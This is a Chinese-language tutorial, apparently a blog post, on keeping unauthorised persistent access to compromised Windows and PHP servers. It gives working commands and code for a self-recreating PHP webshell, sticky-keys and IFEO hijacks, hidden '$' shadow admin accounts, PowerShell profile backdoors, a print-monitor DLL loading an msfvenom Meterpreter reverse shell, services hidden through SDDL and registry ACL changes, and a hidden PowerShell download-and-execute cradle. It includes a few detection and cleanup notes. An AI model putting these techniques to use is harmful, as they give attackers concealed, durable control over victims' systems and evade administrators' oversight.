1 php不死马权限维持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
ignore_user_abort(); //关掉浏览器,PHP脚本也可以继续执行 .
set_time_limit(0);//通过set_time_limit(0)可以让程序无限制的执行下去
$interval = 5; // 每隔*秒运行
do {
$filename = 'test.php';
if(file_exists($filename)) {
echo "xxx";
}
else {
$file = fopen("test.php", "w");
$txt = "<?php phpinfo();?>\n";
fwrite($file, $txt);
fclose($file);
}
sleep($interval);
} while (true);
?>

这段代码的意思是就是 只要访问一次1.php文件 该目录下就会生成test.php文件 每五秒执行一次

2 映像劫持技术

主要是针对注册表实施

  1. 打开注册表编辑器:
    • Win + R 组合键打开运行对话框。
    • 输入 regedit 并按 Enter 打开注册表编辑器。
  2. 导航到指定路径:
    • 在注册表编辑器中,依次展开以下路径:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
  3. 创建 notepad.exe 的新键:
    • Image File Execution Options 下右键空白处,选择 新建 ->
    • 将新键命名为 notepad.exe
  4. 设置调试器值:
    • notepad.exe 键下右键空白处,选择 新建 -> 字符串值
    • 将字符串值命名为 Debugger
    • 右键编辑 Debugger 的值数据,将其设置为 notepad2.exe 的完整路径。例如,如果 notepad2.exeC:\Program Files\Notepad2\ 下,则将 Debugger 的值设置为 C:\Program Files\Notepad2\notepad2.exe
  5. 保存并退出:
    • 完成后关闭注册表编辑器。

3 策略组脚本维持

在gpedit.msc上打开组策略,在Windows设置选项上有个脚本(启动/关机)选项

4 SHIFT后门

Windows的粘滞键——C:\windows\system32\sethc.exe,它本是为不方便按组合键的人设计的

Windows系统按5下shift后,Windows就执行了system32下的sethc.exe,也就是启用了粘滞键

1357258-20191017203451441-1080821618.png

在进程里可以看到是以当前用户的权限运行

但是当我们未登陆系统(停留在登陆界面)的时候 系统还不知道我们将以哪个用户登陆,所以在这个时候连续按5次shift后的话系统将会以system用户(具有管理员级别的权限)来运行sethc.exe这个程序
1357258-20191017203615690-777574657.png

4.1 后门原理

我们可以把cmd.exe这个程序更名称sethc.exe并且把原来的sethc.exe替换掉

在登陆界面的时候我们连续按下5吃shift键系统以system权限就会运行我们的CMD.exe

那么我们的cmd.exe就具有了管理员权限了 如此一来 我们只要利用CMD加一个管理员用户就可以登陆进去,实现隐藏后门

4.2 后门制作

其制作有很多种,下面介绍一种最简单的,可以明白其原理自己扩展

在命令行执行(需要一定的权限)

1 copy C:\WINDOWS\system32\cmd.exe​ C:\windows\system32\sethc.exe //``如果没指定生成的文件,会直接覆盖copy的第二个参数,相当于将第二个参数换成了第一个参数,但是文件外部名称没变

[

发现拒绝访问

出现这样的情况我们就需要将将权限目录下的所有文件及文件夹、子文件夹下的所有者更改为管理员组(administrators)命令

注销,尝试登陆界面直接运行出系统权限的cmd命令。

1
2
3
4
5
Less

takeown /f c:\windows\system32\*.* /a /r /d y

cacls c:\windows\system32\*.* /T /E /G administrators:F

1357258-20191017205704798-1991627617.png

目录下的文件、子文件夹的NTFS权限修改为仅管理员组(administrators)完全控制
然后系统文件夹权限。

如果提权后是system权限,需要在转化

SQL

cacls c:\windows\system32*.* /T /E /G system:F

现在可以用管理员权限访问了

注销,来看下登陆界面是否可以5个shift调用起来shift后门

1357258-20191017210254305-479717790.png

通过命令添加为管理员登陆

1
net user gkk test /add && net localgroup administrators gkk /add

1357258-20191017210852051-2062443455.png

这个命令行存在时间限制,所以要快速输入命令,达到添加用户的目的。重启尝试登陆。

1357258-20191017211031566-342735931.png

5 建立影子账号

影子账户主要是利用在权限维持上,通过先建立带$符号的账户,然后利用注册表修改里面的值,使得管理员无法通过cmd及计算机管理等地方查看攻击者所创建的账户,从而实现权限维持。

5.1 什么是影子用户后门?

  • 无法通过 net user 查询到的用户
  • 无法通过查看 本地用户和组 查询到的用户
  • 无法通过 登陆时的认证窗口 查询到的用户
  • 不需要特定用户的密码,亦可享受该用户的 权限与桌面

5.2 步骤

第一步:创建一个 隐藏用户

1
2
net user yunwei$ Aa123456.. /add


账户后面加上$,此状态下net user无法查询

第二步:修改注册表,创建影子用户
打开 HKEY_LOCAL_MACHINE\SAM\SAM 项,发现里面是空的,因为这个项默认只有 SYSTEM 权限才可以访问,这里我们可以通过给Administrator 赋予 完全控制 的权限来访问该项。

导出待克隆的用户和隐藏用户的HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\ 下的指定项复制给隐藏用户的HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 下的指定项,导出隐藏用户的两个值

删除用户后导入注册表

6 powershell配置文件后门

cmd 没有类似于 bash 的配置文件,但是 powershell 是有的

PowerShell 控制台支持以下基本配置文件。配置文件按照执行顺序列出。

  • 所有用户,所有主机
    • Windows - $PSHOME\Profile.ps1
    • Linux - /opt/microsoft/powershell/7/profile.ps1
    • macOS - /usr/local/microsoft/powershell/7/profile.ps1
  • 所有用户,当前主机
    • Windows - $PSHOME\Microsoft.PowerShell_profile.ps1
    • Linux - /opt/microsoft/powershell/7/Microsoft.PowerShell_profile.ps1
    • macOS - /usr/local/microsoft/powershell/7/Microsoft.PowerShell_profile.ps1
  • 当前用户,所有主机
    • Windows - $HOME\Documents\PowerShell\Profile.ps1
    • Linux - ~/.config/powershell/profile.ps1
    • macOS - ~/.config/powershell/profile.ps1
  • 当前用户,当前主机
    • Windows - $HOME\Documents\PowerShell\Microsoft.PowerShell_profile.ps1
    • Linux - ~/.config/powershell/Microsoft.PowerShell_profile.ps1
    • macOS - ~/.config/powershell/Microsoft.PowerShell_profile.ps1

$PROFILE 自动变量存储当前会话中可用的 PowerShell 配置文件的路径。

若要查看配置文件路径,请显示 PROFILE 变量的值。还可以在命令中使用 PROFILE 变量来表示路径。

PROFILE 变量存储“当前用户,当前主机”配置文件的路径。其他配置文件保存在 PROFILE 变量的注释属性中。

例如,$PROFILE 变量在 Windows PowerShell 控制台中具有以下值。

  • 当前用户,当前主机 - $PROFILE
  • 当前用户,当前主机 - $PROFILE.CurrentUserCurrentHost
  • 当前用户,所有主机 - $PROFILE.CurrentUserAllHosts
  • 所有用户,当前主机 - $PROFILE.AllUsersCurrentHost
  • 所有用户,所有主机 - $PROFILE.AllUsersAllHosts

由于每个用户和每个主机应用程序中 $PROFILE 变量的值发生更改,因此请确保在所使用的每个 PowerShell 主机应用程序中显示配置文件变量的值。

若要查看 $PROFILE 变量的当前值,请键入:

1
2
3
4
5
6
7
8
输入:
$PROFILE | Select-Object *

输出:
AllUsersAllHosts : C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1
AllUsersCurrentHost : C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1
CurrentUserAllHosts : C:\Users\Administrator\Documents\WindowsPowerShell\profile.ps1
CurrentUserCurrentHost : C:\Users\Administrator\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1

这些配置文件中都可以类似 Bash 配置文件一样,在其中放置后门程序可以实现权限维持

7 Monitor 权限维持

脚本:GitHub - Al1ex/Monitor: A old way to Persistence

下载该项目,之后使用VS编译Monitor.cpp,当然也可以使用编译好的,Monitor.cpp代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include "Windows.h"

int main() {
MONITOR_INFO_2 monitorInfo;
TCHAR env[12] = TEXT("Windows x64");
TCHAR name[12] = TEXT("Monitor");
TCHAR dll[12] = TEXT("test.dll");
monitorInfo.pName = name;
monitorInfo.pEnvironment = env;
monitorInfo.pDLLName = dll;
AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
return 0;
}
  • pName //监视器名称
  • pEnvironment //环境架构
  • pDLLName //监视器DLL文件的名称

使用Msfvenom生成dll攻击载荷:

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.188.129 LPORT=4444 -f dll > shell.dll

test_dll.png

将shell.dll复制到目标主机的system32目录下,之后重命名为test.dll(也就是上面的PDLLName,你也可以自己修改为自己喜欢的,总之随意)

1
copy C:\temp\shell.dll C:\Windows\System32\test.dll

copy.png

之后进入system32目录,并执行以下命令(Monitors.exe为之前编译好的文件,也需要放置到system32目录下):

1
Monitors.exe

Monitor.png

Step 5:之后成功接收到Meterpreter会话

Meterpreter.png

7.1 持久化实现

为了实现持久性,我们需要在”Monitors”注册表位置下设置一个key:

1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors

之后在命令行下执行以下命令创建一个注册表项,该注册表项将包含值test.dll,从编辑器中查看注册表验证密钥是否已创建:

1
reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ

image.png

下次重新启动时,spoolsv.exe进程将加载Monitors注册表项中存在并存储在Windows文件夹System32中的所有驱动程序DLL文件,下图演示了Meterpreter会话已建立与Print Spooler服务(SYSTEM)相同级别的特权,并且已从System32文件夹执行了

image.png

8 利用安全描述符隐藏服务后门进行权限维持

8.1 通过注册服务创建后门

将后门程序注册为自启动服务是我们常用的一种进行权限维持的方法,通常可以通过sc或者powershell来进行创建。

  • cmd创建自启动服务
    1
    sc create ".NET CLR Networking 3.5.0.0" binpath= "cmd.exe /k C:\Users\aa\Desktop\beacon.exe" depend= Tcpip obj= Localsystem start= auto
  • powershell创建自启动服务
    1
    new-service –Name ".NET CLR Networking 3.5.0.0" –DisplayName ".NET CLR Networking 3.5.0.0" –BinaryPathName "cmd.exe /k C:\Users\aa\Desktop\beacon.exe"  –StartupType AutomaticDelayedStart
    但创建的服务很容易被发现 通过sc queryGet-Service很容易发现,直接查询服务也能看见

d5dec4d757f2bc8ad36fac3b78bf570a.png

8.2 通过修改SDDL(安全描述符)隐藏服务

众所周知,windows访问控制模型分为两部分:

  • access token(访问令牌)
  • 安全描述符

安全描述符包含与安全对象关联的安全信息。安全描述符包含安全描述符结构及其关联的安全信息。安全描述符可以包含以下安全信息:

  • 对象的所有者和主要组的 Sid(安全标识符)
  • 用于指定允许或拒绝特定用户或组的访问权限的 DACL 。
  • 指定为对象生成审核记录的访问尝试类型的 SACL 。
  • 一组限制安全描述符或其各个成员的含义的控制位。

windows中的安全对象都使用SDDL字符串来表示访问对象对于安全对象的权限,服务自然也存在其SDDL,并且sc命令中可以设置SDDL。那么通过更改SDDL可以修改服务的各种权限来隐藏服务:

1
sc sdset ".NET CLR Networking 3.5.0.0" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

图片

然后通过sc与get-server查找服务均无结果:

aeeba4bad58904bf053bed16b641b6b0.png

并且服务也不再显示:

5a414dcbddeb7e8a4c82bebbeddfd4b6.png

在知道服务名的前提下查询会显示拒绝访问:

ade0eb4213b2becc08580c245f86abe5.png

但这样做有一个问题:在注册表中很容易看到异常value。

0c33710cabbecc27f92437180a61a267.png

8.3 修改注册表ACL

我们可以通过修改注册表的DACL来拒绝对值的查询,达到隐藏异常值的效果。

这里给出一个通过powershell修改注册表项的访问权限的简单脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function Server-Sddl-Change{
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$Name
)
$ROOT = "HKLM:\SYSTEM\CurrentControlSet\Services\"
$S = $ROOT+$NAME
$acl = Get-Acl $S
$acl.SetAccessRuleProtection($true, $false)

$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"QueryValues"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Deny"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)

$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"SetValue,CreateSubKey,EnumerateSubKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,ChangePermissions,TakeOwnership"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)

Set-Acl $S $acl
}

远程加载powershell脚本:

1
powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://xxx:8000/s.ps1'));Server-Sddl-Change -Name '.NET CLR Networking 3.5.0.0'"

从下图可见已将值从该服务项中隐藏:

9e4a3bfc9caa21068dcf85ed22b91551.png

8.4 SDDL字符串详解

安全描述符字符串格式(SDDL) 是用于存储或传输安全描述符中的信息的文本格式,更改SDDL即修改对象的访问权限。

如图为一个安全对象的SDDL:

0a9267552e50c7e90c0934ab8e48739c.png

如图可见其基本组成为:

1
2
3
4
O:owner_sid 
G:group_sid
D:dacl_flags(string_ace1)(string_ace2)... (string_acen)
S:sacl_flags(string_ace1)(string_ace2)... (string_acen)
  • O: 对象所有者的SID
  • G:对象主组的SID
  • dacl_flags :应用于DACL的安全描述符控制标志
  • string_ace1:访问控制列表ACE

对每个组成的详细描述可以参考:https://docs.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-string-format

访问控制列表ACE决定了哪个用户对它具有哪些权限,是DACL的具体规则,我们在服务中主要关注修改的就是DACL。

对于一个具体的ACE,其具有如下结构:

1
2
3
4
5
6
7
8
9
( 
ace_type;
ace_flags;
rights;
object_guid;
inherit_object_guid;
account_sid;
(resource_attribute)
)

对于每一个部分的详细解释可以参考:https://docs.microsoft.com/en-us/windows/win32/secauthz/ace-strings

对于一个ACE,我们主要关注的就是ace_type、rights、account_sid。

account_sid为该条ACE作用对象,可以是SID也可以是约定俗成的字符串,比如IU就是交互登录的用户。

ace_type代表了account_sid对rights代表的权限的控制,比如A就是允许,D就是拒绝。

它是由 ACE 控制的访问权限的字符串。此字符串可以是访问权限的十六进制字符串表示形式,例如“0x7800003F”,也可以是字符串的串联,比如“DCLC”。

在服务对象的权限字符串中:“DC” 代表的用户对服务配置修改的权限,而“LC” 代表了对服务状态查询的权限。

对于不同类型的对象,权限常量的名字还不是很统一,而Wayne Martin 在他的文章中给出了查找权限常量对应关系的方法,并给出一部分 ADS、SCM、Service、value、SDDL 的映射关系:

http://waynes-world-it.blogspot.com/2009/10/service-control-manager-security-for.html

所以在设置服务的SDDL的时候,我们设置了

1
D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)

表示为对交互登录的用户、服务登录的用户、内置管理员拒绝以下操作:

  • 服务配置修改
  • 服务状态查询
  • 服务停止
  • 暂停服务
  • 删除服务
  • 服务配置查询

主要是通过拒绝查询来达到隐藏服务的目的。

而对注册表权限的修改,是通过powershell实现的:首先可以通过枚举注册表的权限查看所有权限

1
[System.Enum]::GetNames([System.Security.AccessControl.RegistryRights])

这里给出的测试脚本是拒绝掉Everyone的QueryValues权限,也就是注册表查询值的权限,达到隐藏异常值的效果。也可以修改其他权限达到禁止删除、禁止重设权限等等操作。

8.5 隐藏服务的查找

Joshua Wright 团队给出了利用该种方式隐藏服务的反制措施:

1
Compare-Object -ReferenceObject (Get-Service | Select-Object -ExpandProperty Name | % { $_ -replace "_[0-9a-f]{2,8}$" } ) -DifferenceObject (gci -path hklm:\system\currentcontrolset\services | % { $_.Name -Replace "HKEY_LOCAL_MACHINE\\","HKLM:\" } | ? { Get-ItemProperty -Path "$_" -name objectname -erroraction 'ignore' } | % { $_.substring(40) }) -PassThru | ?{$_.sideIndicator -eq "=>"}

755a8d9ca2ab2ac22b8f791c5e170db9.png

而修改了注册表查询权限后会报拒绝访问

62bd40e4a402ee4d88d0a4d1a60d1219.png

9 iis后门

https://github.com/WBGlIl/IIS_backdoor

首先先安装iis服务器,出现下图就是安装成功
221a6f9a4e4cb397e56a325ed4c1b166.png

新建bin目录
2b2b820ae249dca8c05443ccd4ddd7b6.png

把这个文件dll文件 放入 新建的目录下
d6d85b32ee67c7c2312244ee0f57cdea.png
把这个目录复制到根目录
485b3b33a019d974f3bafc6d4e352d0b.png
访问这个网址http://192.168.25.150/iis-85.png
221a6f9a4e4cb397e56a325ed4c1b166.png
打开.exe文件
87ec20b1f9406a1a966258adfccac2d0.png
fbc8a5fdbc557244b6a6cb9e00c85e99.png
也可以把文件dll属性修改
c965041c169549d0a4b39fbaad3e780d.png
隐藏文件
518b65d2ca8df0460eac921c35c015c9.png

10 Windows隐藏技术

10.1 利用文件属性

最简单的一种隐藏文件的方式,文件右键属性,勾选隐藏,点击确定后,在这个文件里看不到刚刚的文件了。

如果要让文件显示出来,就点击查看,勾选显示隐藏的文件,文件就显示出来。

10.1.1 如何真正隐藏文件

使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。
attrib +s +a +h +r D:\test\project\test.txt
这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件夹都看不见。

10.1.2 破解隐藏文件

打开电脑文件夹选项卡,取消”隐藏受保护的操作系统文件“勾选,把”隐藏文件和文件夹“下面的单选选择“显示隐藏的文件、文件夹和驱动器”。

10.2 驱动级文件隐藏

驱动隐藏我们可以用过一些软件来实现,软件名字叫:Easy File Locker

下载链接: http://www.xoslab.com/efl.html

如果你在网站目录未查找到相关文件,且系统目录存在存在以下文件:

1
2
3
4
c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys

那么你,应该是遭遇了驱动级文件隐藏。

如何清除?

1
2
3
4
1、查询服务状态: sc qc xlkfs
2、停止服务: net stop xlkfs 服务停止以后,经驱动级隐藏的文件即可显现
3、删除服务: sc delete xlkfs
4、删除系统目录下面的文件,重启系统,确认服务已经被清理了。

隐藏文件的方式还有很多,比如伪装成一个系统文件夹图标,利用畸形文件名、保留文件名无法删除,甚至取一个与系统文件很像的文件名并放在正常目录里面,很难辨别出来。

这些隐藏文件的方式早已不再是秘密,而更多的恶意程序开始实现“无文件”攻击,这种方式极难被发现。